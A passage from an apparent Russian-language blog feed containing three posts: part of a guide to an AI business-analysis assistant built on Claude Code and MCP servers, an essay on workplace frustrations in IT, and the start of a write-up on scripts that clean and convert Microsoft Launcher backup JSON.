Все результаты работы платформа сохраняет в папку governance_plans/reports/ в формате Markdown. Это ваши рабочие артефакты: планы, реестры, спецификации, протоколы.

Если вам нужен PDF — воспользуйтесь специально написанной утилитой export_pdf.py, либо какими-то внешними сервисами.

Папка governance_plans/data/ — служебная. Там хранятся JSON-файлы, которые платформа использует внутри для своей работы: граф требований, данные приоритизации, результаты оценок. Вам туда заходить не нужно — это внутренняя «память» платформы о проекте, пожалуйста, ничего не трогайте в ней.

Принятие решений

AIналитик будет задавать вам вопросы в ключевые моменты: когда нужно выбрать методологию, расставить приоритеты, утвердить требования или оценить риски. Конечно, он даст рекомендации и предупредит о последствиях, но финальное решение всегда за бизнес-аналитиком! Методология помогает принять хорошее решение, но не принимает его вместо живого бизнес-аналитика. Это нужно понимать!

Управление фазами

Как я уже сказал выше, движущей силой, которая направляет BA в нужном направлении (та самая концепция рельсов), являются скиллы и mcp сервера с инструментами. Если скиллы в начале сессии грузятся в контекстное окно только в виде заголовков, и в дальнейшем в процессе работы, когда срабатывает триггер, подгружаются полностью, то mcp сервера грузятся в контекстное окно полностью сразу. А в проекте AIналитик они большие и объемные. Это может привести к забиванию контекстного окна, что в свою очередь может привести к галлюцинациям LLM во время сессии. Я надеюсь, вы понимаете, как важно при работе с LLM следить за контекстным окном? Для решения этой проблемы было принято архитектурное решение разделения работы на фазы.

Каждая фаза соответствует всем задачам одной области знания BABOK. Например, в фазу lifecycle входят 5 задач области знания управления жизненным циклом требований.

Всего выделено пять фаз по каждой реализованной области знаний:

Фаза	Когда использовать
`planning`	Старт проекта, план BA, карта стейкхолдеров, все задачи Главы 3
`elicitation`	Интервью, воркшопы, протоколы встреч, все задачи Главы 4
`lifecycle`	Трассировка, приоритизация, CR, утверждение требований, все задачи Главы 5
`analysis`	Анализ as-is / to-be, GAP-анализ, риски, стратегия изменения, все задачи Главы 6
`design`	Спецификация, верификация, валидация, варианты решения, все задачи Главы 7

Таким образом, AI Платформа AIналитик работает в режиме активной фазы: в каждый момент загружены только те MCP-инструменты, которые нужны для текущего этапа проекта.

AI Платформа AIналитик аккуратно и внимательно следит за фазами со своей стороны (это прописано в ее конфигурационных файлах). Но актуальность установленной в Платформе фазы это важный момент, влияющий на качество работы, поэтому я настоятельно рекомендую вам держать этот момент в голове и не отдавать его на откуп нейросети (даже продвинутой).

Вы всегда можете узнать, какая фаза сейчас на Платформе активна. Самое простое, вы можете всегда уточнить текущую фазу у AIналитика.

Прямо его спросите: какая сейчас фаза?

Он вам ответит. Когда вы решите поработать над задачами из других областей знаний BABOK, то сообщите об этом AIналитику. Попросите сменить фазу: укажите другую. Платформа сама сменит фазу (даст команду в терминале). Или просто скажите над какими задачами планируете работать. И AIналитик вам подскажет, какая фаза нужна.

После смены фазы вам нужно будет рестартануть AIналитика.

Для этого вам нужно будет дать в терминале команду /restart.

Это нужно сделать обязательно! В противном случае перезагрузка mcp серверов не произойдет, и AIналитик не сможет выполнять работу.

Пожалуй, это единственный технический момент, который вам нужно запомнить и применять! В остальном - общаетесь с агентом на обычном человеческом языке.

Если хотите, то контролировать фазы можете вручную самостоятельно. Чтобы узнать текущую фазу, нужно дать команду в терминале:

python phase.py

Скрипт выведет вам название текущей фазы проекта, в рамках которой AIналитик в данный момент работает. Если вы хотите перейти на другую фазу, например с задач Главы 4 на задачи, относящиеся к Главе 5, то укажите ее название явно:

python phase.py lifecycle

Только не забывайте, после смены фазы потребуется перезапустить сессию командой /restart.

Но если у вас опыта работы с терминалом нет, то не переживайте! AIналитик и тут вам поможет, просто общайтесь с ним и просите, что нужно.

Сценарии использования Платформы

Варианты использования AIналитика покрывают все задачи областей знаний BABOK, описанных в главах 3, 4, 5, 6, 7. Но чтобы вам было проще вкатиться в процесс работы и быстрее освоиться, я подготовил моковые сценарии. Вы их найдете в репозитории в папке docs/use-cases/. Здесь приведу только пару штук.

UC-01 — Когда аналитик уходит из проекта

Для кого: Руководители отделов бизнес-анализа, технические директора, PM. Боль: Ключевой BA уволился, ушёл в отпуск, заболел — и весь контекст проекта исчез вместе с ним! Фичи: Реестр стейкхолдеров (3.2), Decision Log (4.5), граф трассировки (5.1), история CR (5.4), статусы согласования (5.5)

Ситуация

Идёт 5-й месяц проекта по внедрению системы управления ассортиментом в крупной розничной сети. Ключевой бизнес-аналитик Антон — человек, который знает всех стейкхолдеров лично, помнит почему было принято решение убрать FR-034 ещё в марте, и держит в голове три незакрытых условия согласования с финансовым директором — внезапно увольняется.

На проекте: 14 стейкхолдеров с разной историей вовлечённости, 87 требований в разных статусах, 9 принятых Change Request, и через 3 недели презентация Steering Committee.

Руководитель отдела BA в панике. Новый аналитик Юлия выходит на проект в понедельник.

Это типичная ситуация, которая в большинстве компаний превращается в кризис: несколько недель уходит на «войну с архивами», интервью с теми кто «что-то помнит», и попытки восстановить контекст по переписке в почте и мессенджерах.

С AIналитик эта история выглядит иначе.

Что делает Юлия

Она открывает AIналитик, смотрит на папку проекта и пишет одну фразу:

Юлия: Я только вышла на проект assortment-2026. Предыдущий бизнес аналитик Антон уволился. Расскажи мне о текущем состоянии: стейкхолдеры, открытые вопросы, незакрытые согласования.

Как отвечает AIналитик

AIналитик читает все артефакты проекта и за несколько секунд выдаёт структурированную сводку:

AIналитик: Проект assortment-2026, активная фаза — lifecycle. Вот текущий контекст:
Стейкхолдеры (14 человек): — Ирина Соколова (финансовый директор) — Key Player, Manage Closely. Статус: ⚠️ Concerned с 28 марта. Последнее взаимодействие: 3 апреля, письмо без ответа. Требует внимания. — Михаил Дроздов (IT-директор) — Context Setter. Статус: ✅ Champion. Активен. — (ещё 12 участников с историей и статусами)
Открытые вопросы по согласованию: 3 conditional approval не закрыты. Один просрочен: условие финансового директора по FR-037 (security review) — дедлайн был 1 апреля.
Последние решения из Decision Log: — 15 марта: FR-034 перенесён в v2. Причина — высокая стоимость, low priority по итогам приоритизации. Решение принято Антоном совместно с Product Owner. — 22 марта: CR-008 (интеграция с ERP) одобрен с условием — реализовать асинхронно.
Хочешь, чтобы я показал полный реестр стейкхолдеров или сразу перешли к незакрытым согласованиям?

Юлия продолжает:

Юлия: Покажи детально ситуацию с финансовым директором — почему Concerned и что с просроченным условием?

AIналитик: Ирина Соколова перешла в статус Concerned 28 марта — после встречи по CR-008. В Decision Log: она выразила опасения по безопасности интеграции с ERP. Антон пообещал security review до 1 апреля.
Условие CR-008: «FR-037 должен пройти security review до начала разработки интеграционного модуля». Статус: ⛔ Просрочено. Ответственный: Антон (уволился).
Рекомендую: написать Ирине сегодня — представиться, объяснить ситуацию, договориться о новом сроке. Подготовить письмо?

Юлия: Да, подготовь. И обнови ответственного по этому условию на меня.

Что получает Юлия

За 20 минут она знает:

Кто из стейкхолдеров требует немедленного внимания и почему
Почему было принято каждое ключевое решение за последние два месяца
Что конкретно нужно сделать сегодня, чтобы не провалить презентацию через 3 недели
Полную историю каждого требования — откуда взялось, как менялось, кто согласовал

Контекст, который обычно живёт в голове одного человека и исчезает вместе с ним, — здесь зафиксирован, структурирован и доступен новому аналитику с первой минуты.

Что происходит под капотом

Бизнес-аналитик с этим не работает напрямую — всё делает AIналитик автоматически.

При первом запросе AIналитик обращается к нескольким источникам одновременно: читает реестр стейкхолдеров с историей изменений статусов (MCP-сервер главы 3 — planning_mcp), достаёт Decision Log со всеми зафиксированными решениями (MCP-сервер задачи 4.5 — elicitation_collaborate_mcp), проверяет статусы согласования и открытые условия (MCP-сервер задачи 5.5 — requirements_approve_mcp). Граф трассировки (MCP-сервер задачи 5.1 — requirements_traceability_mcp) позволяет по любому требованию мгновенно ответить «откуда это взялось и что за ним тянется».

Вся эта информация накапливалась в структурированных JSON-файлах в папке governance_plans/data/ на протяжении всего проекта — каждый раз когда Антон сохранял результаты интервью, обновлял статус стейкхолдера, фиксировал решение или закрывал CR. Автоматически, как побочный эффект обычной работы.

Для Юлии это означает: она получает не папку с документами, которые нужно читать часами, а живую структурированную память проекта, с которой можно сразу разговаривать.

UC-08 — Impact Analysis при внезапном Change Request

Для кого: Бизнес-аналитики на активных проектах Боль: Change Request «звучит просто» — но за ним тянется половина артефактов проекта, и никто этого не видит до разработки Фичи: BFS-обход графа трассировки, скоринг CR (задачи 5.1 + 5.4)

Ситуация

Логистическая компания. Проект — система управления маршрутами. Идёт процесс работы, всё по плану. И тут коммерческий директор пишет BA Андрею короткое сообщение: «Нужно добавить расчёт CO₂-эмиссии для каждого маршрута в реальном времени — для ESG-отчёта. Это же несложно, правда?»

На первый взгляд — небольшое дополнение. Но Андрей уже достаточно опытен, чтобы насторожиться. «Несложно» в устах стейкхолдера — один из самых опасных сигналов в управлении требованиями.

Он открывает Платформу.

Что делает Андрей

Андрей: Открой Change Request: коммерческий директор просит добавить расчёт CO₂-эмиссии для каждого маршрута в реальном времени. Говорит что несложно.

Как отвечает AIналитик

AIналитик: CR-011 создан. Запускаю impact analysis по графу трассировки…
Затронутые артефакты (11):
— FR-022 (расчёт стоимости маршрута) — прямая зависимость. CO₂ нужно считать на тех же данных о маршруте, что и стоимость. Изменение логики расчёта может затронуть FR-022. — NFR-003 (производительность: отклик API не более 500 мс) — ⚠️ конфликт. Расчёт CO₂ в реальном времени требует обращения к внешнему API эмиссий. Это добавляет минимум 200-400 мс к каждому запросу. NFR-003 окажется под угрозой. — ADR-002 (архитектурное решение: кэширование данных о маршрутах) — нужен пересмотр. Кэшированные данные не подходят для расчёта CO₂ в реальном времени. — TC-014, TC-015, TC-017 (три тест-кейса) — потребуют обновления. — (ещё 5 артефактов второго уровня зависимости)
Оценка CR: Score: 5.8 — Modify (принять с условием).
Рекомендация: принять CR-011, но изменить требование — убрать «реальное время». CO₂ считается асинхронно и доступен при следующем открытии маршрута. Это снимает конфликт с NFR-003 и не требует пересмотра ADR-002.
Вынести на согласование с коммерческим директором?

Андрей: Да. И подготовь аргументы — почему реальное время невозможно без последствий.

AIналитик: Готово. Аргументы для встречи:
Реальное время означает обращение к внешнему API при каждом открытии маршрута. Сейчас система обрабатывает до 800 запросов в минуту в пиковые часы. Добавление внешнего вызова увеличит среднее время отклика с текущих 320 мс до расчётных 680-900 мс — это нарушает SLA, согласованный с клиентами в NFR-003.
Асинхронный вариант: CO₂ пересчитывается в фоне раз в 15 минут. Для ESG-отчёта это абсолютно достаточно — отчёты формируются раз в квартал.

Что получает Андрей

Он приходит к коммерческому директору не с отказом, а с данными и альтернативой. Разговор из «вы не хотите делать» превращается в «вот почему именно так и как мы это реализуем». CR принят — но в варианте, который не создаёт технического долга.

И важное: никто не «забыл» про три тест-кейса и архитектурное решение по кэшированию. Они в списке затронутых артефактов — их обновят до начала разработки, а не после.

Что происходит под капотом

Бизнес-аналитик с этим не работает напрямую — Платформа всё делает автоматически.

MCP-сервер задачи 5.4 (requirements_assess_changes_mcp) при получении CR выполняет обход графа трассировки в traceability_repo.json по алгоритму BFS (поиск в ширину) — находит все артефакты, связанные с изменяемыми требованиями, включая зависимости второго и третьего уровня. Инструмент score_cr присваивает оценку на основе количества затронутых артефактов, наличия конфликтов с NFR и сложности изменений. Статусы всех затронутых требований обновляются автоматически — помечаются как «требуют проверки в связи с CR-011». Результат сохраняется в Decision Log через elicitation_collaborate_mcp.

Что вам понадобится для работы

Перед установкой убедитесь, что на компьютере есть:

Python 3.10 или новее — если не уверены, проверьте командой python --version в терминале. Питон нужен для работы 22-ух mcp серверов и 3-х скриптов (common.py и phase.py - два очень важных архитектурных скрипта и export_pdf.py - скрипт для экспорта .md в .pdf).
pip — менеджер пакетов Python (обычно идёт вместе с Python)
Учётная запись Anthropic — план Pro или выше, можно оформить на claude.ai.

Опционально нужен редактор, я рекомендую использовать с Claude Code редактор VS Code.

VS Code можно скачать на code.visualstudio.com

Руководство разработчика

Подробную документацию об архитектуре Платформы вы найдете в руководстве разработчика, файл с документом находится в репозитории в папке docs/developer-guide/

Установка платформы

# 1. Скачайте репозиторий
git clone https://github.com/chaussky/ainalyst.git
cd ainalyst
# 2. Установите зависимости
pip install -r requirements.txt
# 3. Настройте переменные окружения, для этого переименуйте файл .env.example  -> .env
cp .env.example .env
# Откройте .env и заполните API-ключи для конфлюенс
# Запустите claude code
claude

Процедура установки Платформы очень подробно описана в файлах документации. Начните изучение хотя бы с файла readme.md, который расположен в корне репозитория. Даже его будет достаточно, чтобы запустить AIналитика!

Планы на будущее

Самые ближайшие это разработать специализированных субагентов, которые можно было бы запускать параллельно. Каждый субагент будет выполнять какой-то свой большой объем работы, при необходимости коммуницировать с другими, запущенными параллельно. Я думаю, что субагенты могут зайти в задачах Главы 4. Так же полагаю, что субагенты будут полезны для обработки change request. Пока вопрос глубоко не изучал еще.

Есть также идея разработать чат-бота, который проводит интервью со стейкхолдерами. Эта идея процентов на 60% реализована. Бот будет задавать вопросы стейкхолдеру с учетом всей имеющейся информации о проекте. Проводить интервью через бота или самостоятельно бизнес аналитик будет решать сам. AIналитик только даст свои рекомендации и советы по целесообразности такого сценария на основе данных о стейкхолдере и собранного контекста. Возможно применять бота для интервьюирования споносора и других важных стейкхолдеров не стоит, лучше это сделать лично, а вот для довыявления и задавания уточняющих вопросов - можно.

Среднесрочные планы это попробовать запустить AIналитика на разных больших языковых моделях (китайских) и других агентах. Наибольший интерес с практической точки зрения представляют локальные модели и опенсорсные агенты типа OpenCode. Нужно будет поэкспериментировать с разными, посмотреть какое качество они дают. Тогда можно будет обеспечить работу AIналитика внутри контура компании, не отправляя данные во вне.

Более детальную информацию по Платформе вы найдете в папке docs/ репозитория.

Что меня бесит в IT после 3 лет в профессии

varvaratikh — Fri, 17 Apr 2026 17:51:31 +0000

После трех лет в IT меня меньше всего бесит код. Код хотя бы честная сущность. Если он сломан, он обычно не делает вид, что это часть командной культуры.

Гораздо сильнее меня начали бесить вещи вокруг разработки. Не самые красивые слова, знаю. Но после какого-то момента романтика про “интересные задачи”, “сильные команды” и “рост в профессии” сталкивается с довольно приземленной реальностью: люди, процессы, ответственность, созвоны и куча шума вокруг работы, который почему-то очень часто выдают за саму работу.

Я пишу это не как человек с двадцатью годами опыта и спокойствием Будды. Я пишу это как человек, который всего три года в профессии, но уже достаточно насмотрелся, чтобы понять простую вещь: чаще всего выматывает не сложность. Выматывает хаос, который взрослые люди почему-то считают нормой.

Меня бесит безответственность

Если ты делаешь бизнес, нанимаешь людей, обещаешь процессы, сроки, продукт, деньги, рост и нормальную работу, было бы неплохо сначала научиться отвечать за свои решения.

Меня правда раздражают компании и руководители, которые хотят играть в “мы строим серьезный продукт”, но при этом живут в режиме бесконечной импровизации. Сегодня у задачи один приоритет, завтра другой. Сегодня “это срочно”, через два дня про это уже никто не помнит. Сегодня наняли человека под одну роль, через неделю внезапно выясняется, что вообще-то от него ждали совсем другого, просто никто нормально это не сформулировал.

И вот это для меня одна из самых неприятных вещей. Потому что это не сложность рынка. Это не форс-мажор. Это не “ну всякое бывает”. Это обычная взрослая безответственность, за которую почему-то расплачиваются все вокруг, кроме тех, кто ее производит.

Особенно странно это выглядит в моменте найма. Если ты не умеешь строить процессы, не понимаешь, как ставить задачи, не можешь держать слово и вообще не очень представляешь, зачем тебе команда, может, не надо пока делать вид, что ты строишь компанию. Бизнес - это не ролевка в стиле “давайте попробуем побыть взрослыми”. Когда ты берешь человека на работу, ты берешь на себя вполне реальную ответственность за его время, деньги, нервы и кусок жизни.

И да, я понимаю, что идеальных мест не бывает. Но между “в любой работе есть шероховатости” и “вся система держится на авось” разница все-таки огромная.

Меня бесит эмоциональная незрелость в команде

Есть отдельный тип боли, который вообще не связан с кодом. Это люди, которым почему-то очень хочется работать в коллективе, хотя само существование других людей их буквально раздражает.

Я сейчас не про интроверсию. Не про усталость. Не про плохой день. Я про эмоциональную незрелость, которая потом маскируется под “я просто прямой человек”, “я такой требовательный”, “я не люблю тупые вопросы”, “ну я же сказал по фактам”.

На практике это обычно выглядит очень скучно: человек не умеет нормально обсуждать, слышит в любом уточнении наезд, на любое замечание реагирует как на личное оскорбление, а любую рабочую дискуссию превращает в странный конкурс пассивной агрессии.

И вот это для меня одна из самых утомительных вещей в IT. Потому что техническую проблему еще можно разобрать. Можно открыть код, документацию, логи, diff, найти причину, переделать. А когда взрослый человек не умеет не раздражаться от чужого вопроса, чужой формулировки или просто самого факта диалога, это уже совсем другая категория проблемы.

Самое ироничное, что в профессии, где все любят говорить про командную работу, коммуникацию и engineering culture, огромное количество энергии все еще тратится на очень базовую вещь: научиться разговаривать так, чтобы после созвона никому не хотелось закрыть ноутбук и исчезнуть в лесу.

Да, я не люблю писать тесты

Сейчас будет социально опасный момент.

Я не люблю писать тесты.

Сразу уточню, чтобы меня мысленно не вынесли из профессии: я понимаю, зачем они нужны. Я радуюсь, когда хороший тест ловит регресс до продакшена. Я понимаю ценность проверок на критических сценариях. Я вижу, как нормальный test suite делает систему спокойнее и предсказуемее. Все это правда.

Но любить сам процесс написания тестов я пока так и не научилась.

Особенно когда тесты пишутся не потому, что это правда снижает риск, а потому что “ну у нас должно быть 80% coverage”. Особенно когда unit-тест знает о внутренностях реализации больше, чем стоило бы, и падает не потому, что сломалось поведение, а потому что кто-то слегка переставил мебель в коде. Особенно когда e2e превращается в ритуал вызова дождя: локально зелено, в CI красно, потом наоборот, потом все делают вид, что проблема временная.

Наверное, меня раздражают не сами тесты, а имитация инженерной зрелости через тесты. Когда вместо реального вопроса “что здесь действительно опасно сломать?” включается механика “давайте просто обложим все проверками и будем надеяться на лучшее”.

Я люблю надежные системы. Я люблю, когда после релиза не страшно. Я люблю, когда критичные сценарии защищены. Но сам процесс написания тестов до сих пор не вызывает у меня никакой романтики. И, если честно, мне даже нравится иногда говорить это вслух. Хотя бы потому, что в IT слишком много вещей принято обсуждать как догму, а не как живую практику со всеми ее компромиссами.

Меня бесит не медленное мышление, а вязкость

Я не про людей, которым нужно время подумать. У меня как раз нет претензий к нормальной рабочей медлительности, когда человек проверяет гипотезу, не делает резких глупостей, задает вопросы и в итоге приходит к сильному решению.

Меня бесит именно вязкость.

Это тот режим, в котором один merge request можно обсуждать пять часов на созвоне. Когда вместо комментариев в diff собирают отдельную встречу, потом еще одну встречу, потом “давайте синкнемся после обеда”, а потом внезапно выясняется, что все это время спорили о вещи, которая вообще должна была быть зафиксирована в правилах команды еще полгода назад.

Вот это меня бесит.

Не потому, что я за бездумный speedrun разработки. А потому, что очень часто за такой медлительностью нет глубины. Там нет исследования, нет особой аккуратности, нет сложности задачи. Там просто нет структуры. Нет договоренностей. Нет умения заранее определить, что именно мы считаем good enough и где вообще заканчивается обсуждение.

В такие моменты особенно хорошо видно, что выгорание в IT рождается не только от нагрузки. Оно прекрасно рождается от ощущения вязкого бессилия, когда огромный объем времени уходит не на работу, а на процесс вокруг работы.

Чтобы это не выглядело как чистый эмоциональный монолог, коротко та же картина в таблице.

Что бесит	Как это выглядит в работе	Чем заканчивается
Безответственность	плавающие приоритеты, обещания без ресурсов, найм “на авось”	переделки, срывы, нервная команда
Незрелость	пассивная агрессия, обиды на уточнения, токсичные обсуждения	тяжелые созвоны и потеря нормальной коммуникации
Тесты ради галочки	coverage ради отчета, хрупкие проверки, флейки в CI	ложное чувство надежности и раздражение команды
Вязкость	бесконечные созвоны, пять часов на один MR, отсутствие правил	потеря темпа и ощущение бессмысленности

Теперь про техническую часть, которая правда выматывает

Если убрать эмоции и оставить только инженерную суть, то меня сильнее всего выматывают четыре вещи.

Первая - отсутствие нормальных контрактов. Когда у вас нет понятных API, нет четких границ между слоями, нет договоренностей по данным, именованию, поведению компонентов и сценариям ошибок, любая мелкая правка начинает выглядеть как мини-экспедиция в неизвестность. Ты открываешь вроде бы небольшой кусок задачи, а через полчаса уже не очень понимаешь, это локальная правка или приглашение в археологический тур по легаси.

Вторая - хаос, который выдают за гибкость. Мне вообще кажется, что в IT слово “гибкость” иногда используют как очень вежливый синоним фразы “мы пока ничего нормально не договорили”. Гибкость хороша там, где есть сильная база. А когда базы нет, гибкость очень быстро превращается в ситуацию, где каждый пишет как чувствует, каждый понимает архитектуру по-своему, а общий проект потом каким-то чудом должен собраться в единое целое.

Третья - культ бесконечных обсуждений вместо инженерных решений. Есть вещи, которые реально надо обсуждать: архитектурные развилки, риски, миграции, публичные контракты, критичные продуктовые сценарии. Но очень много того, что у нас принято тащить в часовые созвоны, можно было бы решить нормальным описанием правил, коротким RFC, адекватным code review или просто способностью формулировать мысль письменно.

И четвертая - технический долг, на который все смотрят как на погоду. Как будто это стихийное бедствие, а не результат вполне конкретных решений. Когда в проекте копятся хрупкие абстракции, дублирование, полумертвые слои, костыли поверх костылей, нестабильные тесты и странные временные решения, это не просто делает код некрасивым. Это делает любую будущую работу дороже. В какой-то момент ты уже не разрабатываешь, а все время платишь проценты по чужим вчерашним компромиссам.

Если разложить это по слоям, картина обычно выглядит так:

Слой	В идеале	В реальности, которая бесит
Бизнес	дает приоритеты и держит рамку	дергает фокус каждые два дня
Команда	спорит по делу и фиксирует решения	уходит в эмоции и бесконечные обсуждения
Код	имеет контракты и предсказуемое поведение	разваливается от каждой “маленькой” правки
Тесты	страхуют критичные сценарии	создают шум, флейки и красивую статистику
Ревью	ускоряет качество решения	становится затяжной терапией на весь день

И все-таки меня бесит не профессия

Самое смешное, что после всего этого я не разлюбила саму разработку.

Мне по-прежнему нравится собирать интерфейсы, разбираться в логике, упрощать сложное, находить слабые места в системе, превращать хаос в более понятную структуру. Мне нравится момент, когда задача из расплывчатого “что-то не так” превращается во вполне конкретное инженерное решение. Мне нравится, когда код становится яснее, а продукт - внятнее.

Меня бесит не IT как профессия. Меня бесит количество лишнего шума вокруг нее.

Меня бесит, когда взрослые люди не хотят быть взрослыми. Когда ответственность подменяют энтузиазмом. Когда зрелость подменяют резкостью. Когда инженерную работу подменяют бесконечными разговорами о работе. Когда надежность подменяют цифрой coverage. Когда темп подменяют пятичасовым обсуждением одного MR.

И, наверное, это даже не самый плохой симптом после трех лет в профессии.

Потому что, если честно, гораздо хуже было бы привыкнуть к этому и начать считать нормой.

Код хотя бы можно открыть, прочитать и поправить. С некоторыми процессами и людьми такой роскоши пока не завезли.

Получение текстового и машиночитаемого представления из Microsoft Launcher

Kenya-West — Fri, 17 Apr 2026 17:40:55 +0000

TL;DR Автору понадобилось экспортировать состояние домашнего экрана Microsoft Launcher. Для этого пришлось написать два скрипта и столкнуться с различными проблемами. Кому нужна сразу инструкция, тык сюда.

Дисклеймеры

Общий дисклеймер • О личности автора • Отказ от ответственности • Об использовании ChatGPT

Для сведущих в JS и в операциях с JSON: никаких срывов прокровов тут не будет, это простейшие манипуляции с объектами JavaScript посредством NodeJS.

Аннотация

Рассмотрен вопрос конвертации JSON-экспорта из Microsoft Launcher в текстовое и машиночитаемое представление. Представлено два скрипта: первый для очистки и подготовки бекапа лаунчера, второй для конвертации данных в нужный формат. В статье обсуждаются проблемы, связанные с различными приколами файла экспорта Microsoft Launcher и его структурами данных (например, это base64-данные, которые попусту занимали много места). Представлена инструкция для полного цикла очистки, подготовки и конвертации данных из Microsoft Launcher. У автора это был самый первый опыт вайб-кодинга.

Введение

Когда вы полностью зависимы от одного лаунчера от одного производителя, и меняете его на другой, где установлено иное приложение домашнего экрана, то возникает большая трата времени по настройке нового лаунчера - все эти перетыки иконок, папок, виджетов и так далее. Хотелось бы иметь возможность экспортировать состояние домашнего экрана хотя бы чисто для себя - в какой, например, папке у меня какие приложения, какие виджеты и так далее. Было бы ещё круто иметь машиночитаемое представление, чтобы можно было в будущем, если появится такая возможность, сконвертировать эти данные в новый формат, который будет поддерживать новый лаунчер (вдруг получится?). В общем, я решил написать скрипт, который бы конвертировал JSON-экспорт из Microsoft Launcher в текстовое и машиночитаемое представление. Но оказалось, что это не так просто, как я думал.

Мой случай

У меня установлено около 550 приложений, они распределены по 5 страницам домашнего экрана. Есть папки, виджеты и так далее.

Есть первый экран - “глобальный”, он содержит до 20 папок, где внутри по 60 приложений. В “глобальном” экране я кладу ярлыки только тех приложений, которые будут актуальны для любой юрисдикции, где бы я ни находился - например, браузер, почта, мессенджеры, карты, тулзы/утилиты и т. д.

Дальше идут “региональные” экраны, где я размещаю приложения, которые могут быть специфичны для определённой страны. Те самые нацмессенджеры, местные сервисы и так далее. В каждом “региональном” экране либо тупо список приложений, либо папки с приложениями по удобству.

В конце идут фирменные лаунчеровские виджеты, типа времени проведения за экраном, статистики запусков, статистика прилётов, расчёт траектории попадания, кнопка запуска COVID-19, “Райан Гослинг каждый день”, цитаты Стетхема, новые расистские панчи против белых и всё в таком духе.

Самое ценное здесь - ярлыки и папки приложений, так как организовывался этот экран несколько (четыре) лет подряд, и терять наработки ой как не хочется. Казалось бы, в чём проблема? На старом устройстве ты делаешь бекап, на новом - импортируешь. Но что, если мне придётся сменить лаунчер? Часто они не поддерживают импорт/экспорт из сторонних программ домашних экранов, а помнишь, в какой из 60 папок какие из 550 приложений находятся - я как-то не очень в этом. Даже если мне придётся раскладывать всё это вручную, я хотел бы иметь файл-помощник, который содержал бы список всех приложений, их расположение на домашнем экране, какие папки и виджеты есть, и так далее. И желательно, чтобы этот файл был в удобном для чтения формате как человеком, так и для машины.

Я хотел бы иметь возможность видеть всю эту схему текстом. Я нашёл, что Microsoft Launcher позволяет экспортировать данные в формате JSON, но этот файл был огромным - около 17 МБ. Я решил написать скрипт на JS, который бы конвертировал этот JSON в более удобный формат. Но когда я начал разбирать структуру данных, я столкнулся с проблемой - многие (бесполезные) данные были закодированы в base64 и занимали много места. Решено: сначала делаем скрипт для очистки и подготовки бекапа лаунчера, а уже потом - скрипт для конвертации данных в нужный формат.

Будем, кстати, вайб-кодить (это новое слово от слонов и слоних Кремниевой долины, я уверен, будет на ходу через полгода). Как раз GPT-4 вышла, и вроде бы она научилась что-то внятное генерировать. Погнали!

1. Делаем бекап, разбираем его

Что там сложного-то? Записывайте!

Открываете настройки лаунчера;
Заходите в настройки;
Выбираете “Резервное копирование и восстановление”;
Выбираете “Создание резервной копии Microsoft Launcher”;
Куда-то там копируете, например, в облако OneDrive.

Получается такой файл, что-то типа Arrow36backup17899665511220.zip. Распаковываем. Внутри - единственный файл launcher_backup_main.bak. Меняем расширение на .json и открываем его в любом текстовом редакторе.

Предупреждаю, это от 3 до 24 МБ данных, которые не каждый редактор может переварить!

Как выглядит JSON-файл

М-да-а-а-а... А на что я вообще рассчитывал?

Видим, что это JSON-структура, которая содержит много данных о нашем домашнем экране, папках, виджетах и так далее. Но там же есть много бесполезных данных, которые закодированы в base64 и занимают много места. Для нашего текстового представления нам эти данные не нужны, поэтому мы будем их удалять.

Пример данных, закодированных в base64

Поэтому я написал скрипт на JS, который бы проходился по всему JSON-дереву, находил все строки, которые выглядят как base64, и удалял их.

2. Разработка скрипта очистки: что пошло не так и как это решалось

Начнём со списка проблем:

Проблема №1: base64 - не просто строки

В бекапе Microsoft Launcher медиа представлены не в одном формате, это могут быть:

обычный base64;
base64url (- и _ вместо + и /);
data URL (data:image/png;base64,...);
строки с “реальными” переносами, не экранированными;
строки с переводами каретки \n, \r, \t прямо внутри текста.

Последний случай особенно неприятный: JSON валиден, но данные внутри строки — «разорванные». Простое регулярное выражение перестаёт работать.

Решил это дело нормализацией строки, сносил whitespace’ы и разворачивал (десериализовывал) escape-последовательности (иногда двойные).

Проблема №2: как понять, что это именно изображение

Расписал техзхадание, цели, ценности, контекст в OpenAI ChatGPT. Конечно, сказывается лимит в 20 000 знаков, после которого ихнее окошко ввода начинает безб-жно виснуть, поэтому копируем это всё из VS Code.

Спросил у нейросетки, как отличить изображения от любой другой длинной строки, ну и попросил накидать алгоритм. С техзаданием оно поплыло мощно, выдало несуразицу про жестокость контента (видимо, впихивание большого контекста для модели - это издевательство над её электронными мозгами).

Получилось примерно так по детекту экранированных медиа:

декодировать base64 в буфер;
проверить сигнатуры файлов:
- PNG (89 50 4E 47);
- JPEG (FF D8);
- GIF (47 49 46);
- WEBP (RIFF...WEBP);
- TIFF, BMP, HEIF/AVIF;
плюс попытка распознать SVG через текст.

Остальные блобы оно не трогает (их и не будет, по идее).

Проблема №3: строки, которые на самом деле JSON

Пример:

{
  "someField": "{\"nested\": {\"image\": \"base64...\"}}"
}

Тут нейросеть сдалась. Детект JSON Statham’а писал сам, нейронка чисто причесала его:

эвристика: строка начинается с { или [ и заканчивается соответственно;
попытка JSON.parse;
дальше рекурсивно:
- либо сериализовать в строку (сохраняя оригинальную схему),
- либо “развернуть” в объект (--unwrap-strings).

Это сильно усложнило алгоритм, но без этого половина мусора оставалась внутри.

Проблема №4: контроль агрессивности очистки

Посмотрел - а там иконки, на самом деле, и не такие уж и большие, можно их оставить.

Поэтому добавлены параметры, цитирую:

--min-bytes - минимальный размер blob, который считаем «мусором»;
--keys - фильтр по именам полей (image, icon, avatar и т. д.);
--remove-array-element - удалять элемент массива полностью, а не заменять на null.

Это делает скрипт настраиваемым под разные форматы данных.

Иконки остаются нетронутыми:

base64

3. Разработка скрипта конвертации

Хорошо, мы почистили это месиво от лишнего мусора. Теперь задача - вытащить из него ровно то, ради чего всё это затевалось: структуру экранов, папок и приложений.

Что вообще есть в бекапе

Если открыть очищенный JSON и немного в него потыкать, быстро становится понятно, что нас интересуют два массива:

KeyForAllDesktopFolders - список папок;
KeyForAllDesktopShortcuts - список ярлыков.

Причём связь между ними плоская: ярлыки лежат отдельно и просто ссылаются на контейнер (то есть папку) через поле container.

Соответственно, схема такая:

есть папка с id;
есть куча ярлыков, у которых container === id папки.

ОK, основной каркас есть, пошли дальше собирать инфу о бекапе Microsoft Launcher.

Проблема: где тут вообще приложение

Самый неприятный момент - это извлечение package name приложения.

Он лежит не в отдельном поле, а внутри строки intent. Причём формат может отличаться. Встречаются варианты:

#Intent;...;component=com.example.app/.MainActivity;end

или

Intent { ... cmp=com.example.app/.MainActivity }

или вообще что-то третье.

